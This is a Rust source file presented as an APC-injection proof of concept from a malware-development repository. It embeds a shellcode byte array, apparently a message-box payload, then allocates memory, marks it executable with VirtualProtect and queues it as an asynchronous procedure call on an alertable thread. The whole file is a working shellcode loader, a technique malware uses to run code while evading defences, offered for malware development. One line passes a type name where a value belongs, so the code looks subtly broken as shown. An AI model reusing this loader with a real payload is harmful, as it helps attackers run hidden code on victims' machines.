/*
    New Update APC Injection POC
    For more codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
    @5mukx
*/
use std::ptr::{copy_nonoverlapping, null_mut};

use winapi::{
    ctypes::c_void,
    um::{
        errhandlingapi::GetLastError,
        memoryapi::{VirtualAlloc, VirtualProtect},
        processthreadsapi::{CreateThread, QueueUserAPC, ResumeThread},
        synchapi::{SleepEx, WaitForSingleObject},
    },
};

// writing function call
unsafe extern "system" fn function(_content: *mut c_void) -> u32 {
    SleepEx(0xFFFFFFFF, 1);
    0
}

#[repr(transparent)]
#[allow(non_camel_case_types)]
pub struct THREAD_CREATION_FLAGS(pub u32);

macro_rules! okey {
    ($msg:expr, $($arg:expr) ,*) => {
        println!("\\____[+] {}", format!($msg, $($arg), *));
    }
}

macro_rules! error {
    ($msg:expr, $($arg:expr), *) => {
        println!("\\____[-] {}", format!($msg, $($arg), *));
        std::process::exit(0);
    }
}

fn main() {
    let buf: [u8; 328] = [ 
        0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
        0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
        0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
        0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
        0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
        0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
        0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
        0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
        0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
        0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
        0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
        0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
        0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
        0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
        0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
        0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
        0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
        0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
        0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
        0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
        0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
        0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
        0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
        0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
    ];

    unsafe {
        let h_thread = CreateThread(
            null_mut(),
            0,
            Some(function),
            null_mut(),
            THREAD_CREATION_FLAGS as u32, // or just 0 is enough !
            // 0,
            null_mut(),
        );

        if h_thread.is_null() {
            error!("Unable to create thread: {:?}", GetLastError());
        }

        okey!("Thread Address: {:?}", h_thread);

        let address = VirtualAlloc(null_mut(), buf.len(), 0x1000 | 0x2000, 0x04);

        okey!("Allocated Address: {:?}", address);

        copy_nonoverlapping(buf.as_ptr(), address as *mut u8, buf.len());

        let mut protect = 0;

        let virtual_protect = VirtualProtect(address, buf.len(), 0x40, &mut protect);

        if virtual_protect == 0 {
            error!("VirtualProtectEx failed : {:#?}", GetLastError());
        }

        QueueUserAPC(std::mem::transmute(address), h_thread, 0);

        ResumeThread(h_thread);
        WaitForSingleObject(h_thread, 0xFFFFFFFF);
    }
}
